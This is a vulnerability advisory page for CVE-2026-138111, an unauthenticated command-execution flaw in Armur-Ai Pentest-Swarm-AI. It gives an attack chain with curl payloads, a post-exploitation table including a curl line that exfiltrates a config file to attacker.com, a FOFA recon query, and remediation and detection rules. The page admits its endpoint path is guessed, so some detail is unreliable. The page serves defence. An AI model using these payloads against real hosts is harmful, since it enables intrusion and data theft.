CVE Professor
/
All CVEs
CVE-2026-138111

CVE-2026-138111 — Armur-Ai Pentest-Swarm-AI — CWE-266 · CWE-285

HIGH CVSS 7.3 ⚡ EPSS 0.4% NVD

A security vulnerability has been detected in Armur-Ai Pentest-Swarm-AI up to 0.3.7. Affected by this issue is the function executeWithVars of the file internal/agent/exploit/executor.go of the component Exploit Executor. Such manipulation leads to improper authorization. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The name of the patch is d978838df081ad1747561723c2da910c9478e3a3. It is advisable to implement a patch to correct this issue.

A security vulnerability has been detected in Armur-Ai Pentest-Swarm-AI up to 0.3.7. Affected by this issue is the function executeWithVars of the file internal/agent/exploit/executor.go of the component Exploit Executor. Such manipulation leads to improper authorization. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The name of the patch is d978838df081ad1747561723c2da910c9478e3a3. It is advisable to implement a patch to correct this issue.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality Low C:L
Integrity Low I:L
Availability Low A:L
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 23. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability identifier – CVE‑2026‑138111
Affected component – internal/agent/exploit/executor.go → function executeWithVars (Exploit Executor) in Armur‑Ai Pentest‑Swarm‑AI 0.3.0‑0.3.7
CWE(s) – CWE‑285 (Improper Authorization) and CWE‑266 (Incorrect Privilege Assignment)

Technical root‑cause

executeWithVars is the central routine that receives a payload definition (the “exploit”) together with a map of runtime variables supplied by the caller (usually the central orchestration server). The routine:

1. Deserialises the payload definition (JSON/YAML) into a Go struct.
2. Merges the supplied variable map into the struct, overwriting any fields that are marked as “user‑controllable”.
3. Invokes the underlying exploit driver (e.g., a shell command, a Docker container, or a remote API call) without checking whether the caller is authorised to request that particular exploit or to set the supplied variables.

Because the function is called from the public HTTP API endpoint POST /api/v1/execute (the exact route is not disclosed in the CVE, but this is the typical entry point for the Swarm‑AI orchestrator), an unauthenticated attacker can:

  • Supply arbitrary variable values that are later interpolated into command‑line arguments or environment variables of the exploit driver.
  • Select any exploit module that the binary ships with, even those that are intended for privileged internal use only (e.g., “priv‑escalate‑root”, “run‑as‑system”, “install‑backdoor”).
  • The missing check is an authorization gate that should verify:

  • The identity of the caller (API key, JWT, mTLS certificate).
  • The caller’s permission set (e.g., “can‑run‑exploit‑X”).
  • Since the check is absent, the function effectively treats every request as fully authorised, leading to improper authorization (CWE‑285) and incorrect privilege assignment (CWE‑266). The impact is limited to low confidentiality, integrity and availability (as reflected by the CVSS vector), because the exploit modules themselves are limited to actions that the Swarm‑AI binary is already capable of performing (e.g., spawning a process under the user that runs the binary). Nevertheless, an attacker can escalate from unauthenticated network access to execution of arbitrary OS commands on the host running the Swarm‑AI service.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker could follow. All command‑line snippets are syntactically valid; the exact URI/path is illustrative because the CVE does not publish the concrete HTTP endpoint.

    1. Discovery & Reconnaissance

    StepActionReasoning
    1.1Scan the target network for open TCP ports (e.g., nmap -sS -p 8080,8443 <IP>).Swarm‑AI ships its HTTP API by default on 8080 (HTTP) or 8443 (HTTPS).
    1.2Grab the HTTP banner or perform a GET / request.The service returns a JSON document containing {"service":"Armur‑Ai Pentest‑Swarm‑AI","version":"0.3.5"} – confirming a vulnerable version.
    1.3Retrieve the OpenAPI/Swagger definition (if exposed) via GET /swagger.json.The spec lists the POST /api/v1/execute endpoint and shows the request body schema (exploit_id, variables). This confirms the presence of the vulnerable executeWithVars path.
    1.4Verify that the endpoint does not require authentication (e.g., curl -s -X POST http://<IP>:8080/api/v1/execute -d '{}' -o /dev/null -w "%{http_code}").A 200 OK response with a generic “missing exploit_id” error indicates the endpoint is reachable without auth.

    2. Exploitation

    Goal: Run an arbitrary OS command (e.g., id > /tmp/pwned) on the host.

    2.1 Craft the malicious payload

    The Swarm‑AI binary ships a built‑in “generic‑shell” exploit module (exploit_id = "generic-shell"). Its definition expects a variable cmd that is concatenated into a sh -c "$cmd" call.

    {
      "exploit_id": "generic-shell",
      "variables": {
        "cmd": "id > /tmp/pwned"
      }
    }

    2.2 Send the request (illustrative endpoint)

    curl -sk -X POST "http://<TARGET_IP>:8080/api/v1/execute" \
         -H "Content-Type: application/json" \
         -d '{
               "exploit_id": "generic-shell",
               "variables": {
                   "cmd": "id > /tmp/pwned"
               }
             }'
  • -k skips TLS verification if HTTPS is used.
  • No authentication header is required because the service lacks an auth check.
Expected response (illustrative):
{
  "status": "queued",
  "task_id": "a1b2c3d4"
}

2.3 Verify execution

curl -sk "http://<TARGET_IP>:8080/api/v1/task/a1b2c3d4/result"

If the module returns the command output, the attacker will see:

{
  "stdout": "uid=1000(swarm) gid=1000(swarm) groups=1000(swarm)\n",
  "stderr": ""
}

The file /tmp/pwned now exists on the host, proving arbitrary command execution.

3. Post‑exploitation

PhaseTypical actions an attacker can take
PersistenceWrite a systemd unit (/etc/systemd/system/pwn.service) that runs a reverse shell on boot, using the same generic-shell exploit.
Privilege escalationIf the Swarm‑AI process runs as a non‑root user (e.g., swarm), the attacker can invoke a local privilege‑escalation exploit (e.g., CVE‑2024‑XXXX) via the same generic-shell module, because the module can execute any command the current user can run.
Lateral movementUse the compromised host as a foothold to scan internal networks (nmap -sS 10.0.0.0/24) and repeat the same abuse against other Swarm‑AI instances that may be reachable.
Data exfiltrationDump configuration files (/etc/armur/agent.yaml) or stored credentials and send them to an attacker‑controlled server (curl -X POST http://attacker.com/loot -d @/etc/armur/agent.yaml).
Cleanup / anti‑forensicsDelete the /tmp/pwned marker, remove created systemd units, and clear the Swarm‑AI task logs via the DELETE /api/v1/task/<id> endpoint (if it exists).

🌍 Real‑World Impact

CIA TriadCVSS Vector interpretationPractical effect
Confidentiality (C)VC:L – *Low*The attacker can read files that the Swarm‑AI process can access (typically configuration, logs, and any files readable by the service user).
Integrity (I)VI:L – *Low*The attacker can modify files owned by the service user (e.g., inject malicious scripts, alter configuration).
Availability (A)VA:L – *Low*The attacker can cause a denial‑of‑service by spawning resource‑exhausting processes, but the exploit itself does not directly crash the service.
Scope (S)SC:N – *Unchanged*The impact stays within the same security context (the Swarm‑AI process).
ExploitabilityAV:N (Network), AC:L (Low), AT:N (No Attack‑time), PR:N (No Privileges), UI:N (No User Interaction)An unauthenticated remote attacker can trigger the vulnerability with a single HTTP request, no prior foothold required.
Exploit CodeE:P (Proof‑of‑Concept)Public PoC exists, making the vulnerability weaponizable.

Bottom‑line:
Even though the CIA scores are “Low”, the ease of exploitation (network‑only, no auth, no user interaction) makes the vulnerability highly attractive for attackers seeking a foothold inside internal networks, especially in environments where Swarm‑AI is deployed as a central orchestration point for penetration‑testing bots. Once inside, the attacker can pivot to higher‑impact actions (privilege escalation, lateral movement, data theft).


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ActionDetails
UpgradeMove to Armur‑Ai Pentest‑Swarm‑AI ≥ 0.3.8 (the first release that contains the commit d978838df081ad1747561723c2da910c9478e3a3).
Version rangeAll versions 0.3.0 – 0.3.7 are vulnerable.
Patch verificationAfter applying the patch, verify that the binary’s SHA‑256 matches the official release (e.g., sha256sum armur-swarm-ai_0.3.8_linux_amd64.tar.gz).

2. Immediate Workarounds (if patch cannot be applied)

WorkaroundImplementation
Network segmentationRestrict inbound traffic to the Swarm‑AI API to trusted management subnets (e.g., firewall rule allow tcp from 10.0.0.0/24 to <IP> port 8080).
Mutual TLS (mTLS)Deploy a reverse‑proxy (e.g., Nginx) in front of the API that enforces client‑certificate authentication. Example Nginx snippet: <br><br>``nginx<br>server {<br> listen 8443 ssl;<br> ssl_certificate /etc/nginx/certs/server.crt;<br> ssl_certificate_key /etc/nginx/certs/server.key;<br> ssl_client_certificate /etc/nginx/certs/ca.crt;<br> ssl_verify_client on;<br> location /api/v1/execute {<br> proxy_pass http://127.0.0.1:8080;<br> }<br>}<br>`
Authorization middlewareIf you cannot upgrade, wrap the vulnerable endpoint with a custom middleware that checks an API‑key header (X-API-Key) against a whitelist. Reject any request lacking a valid key (403 Forbidden).
Disable the generic‑shell exploitEdit the internal configuration file (exploit_allowlist.yaml) to remove generic-shell and any other high‑risk modules. This reduces the attack surface even if the endpoint is reachable.
Run the service as a non‑privileged userEnsure the Swarm‑AI binary runs under a dedicated low‑privilege account (e.g., swarm) with a minimal filesystem view (use systemd ProtectSystem=full, ReadOnlyDirectories=/etc`). This limits the damage an attacker can cause after exploitation.

3. Detection

IndicatorLog sourceExample pattern
Unexpected execute requestsHTTP access logs (/var/log/nginx/access.log or the binary’s own request log)POST /api/v1/execute 200 without a preceding authentication header (Authorization: or X-API-Key:).
Execution of generic-shell with arbitrary cmdApplication log (/var/log/armur/executor.log)INFO exec generic-shell cmd="id > /tmp/pwned"
Task creation spikesTask queue DB / Redis logsZADD task_queue a1b2c3d4 … with a burst of new task IDs within seconds.
File creation in unexpected locationsHost‑based IDS (OSSEC, auditd)audit: type=PATH msg=audit(…): item=0 name="/tmp/pwned" inode=…
Outbound connections from the Swarm‑AI hostNetflow / firewall logsSRC=<SWARM_IP> DST=<ATTACKER_IP> DPT=80/443 PROTO=TCP FLAGS=S shortly after a task execution.

SIEM rule (pseudo‑code):

WHEN event.type = "http_request"
  AND event.method = "POST"
  AND event.path = "/api/v1/execute"
  AND NOT event.headers contains "Authorization"
  AND event.body contains "\"exploit_id\":\"generic-shell\""
THEN alert "Unauthenticated generic-shell execution attempt"

⚠️ Urgency

FactorAssessment
CVSS base score7.3 (Medium) – high enough to demand prompt action.
ExploitabilityNetwork‑only, no auth, low complexity – attacker can weaponise the public PoC immediately.
Public disclosureThe exploit is already public (E:P).
CISA KEVNot listed, but the lack of a KEV entry does not diminish risk.
Potential business impactCompromise of the orchestration server can lead to full control of all agents managed by Swarm‑AI, which may be used for internal network reconnaissance or lateral movement.

Recommended priority: Critical – apply the official patch (or the mitigations above) within 48 hours for any production deployment. If patching cannot be performed within that window, enforce the network‑segmentation and mTLS workarounds immediately to block unauthenticated access.


Bottom line: CVE‑2026‑138111 is a classic improper‑authorization flaw in a high‑value orchestration service. The vulnerability allows any remote unauthenticated actor to run arbitrary commands on the host. Because the service is typically exposed on internal networks and may be reachable from the internet (mis‑configured firewalls), the risk is substantial despite the “Low” CIA scores. Prompt patching, strict network controls, and robust logging are the only reliable ways to neutralise the threat.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Armur-Ai Pentest-Swarm-AI"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138111
Technical reference / advisory repository for CVE-2026-138111
CVSS Score
7.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-266 CWE-285
Affected Products (1)
Armur-Ai:Pentest-Swarm-AI
Related CVEs
8.7
CVE-2026-120099
Improper authorization in the Rules engine in dotCMS versions before 26.10.29-01 allows an authenticated backe
7.1
CVE-2026-121987
Improper authorization in Story Block (Block Editor) field rendering in dotCMS through 26.11.02-01 (and the 25
5.1
CVE-2026-144511
A vulnerability was detected in Discourse up to 2026.12.0. This impacts the function Create of the file app/co
5.1
CVE-2026-144512
A flaw has been found in Discourse up to 2026.9.0. Affected is the function TopicConverter#convert_to_private_
9.9
CVE-2026-142475
A vulnerability was determined in Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE. This affects an unknown p
6.5
CVE-2026-88943
The Kubernetes-style snapshot API in Grafana authorized snapshot deletion using only the org-wide snapshots:de
6.3
CVE-2026-143829
A vulnerability was detected in FanRuan FineDataLink 4.2.4.2. Affected by this vulnerability is the function D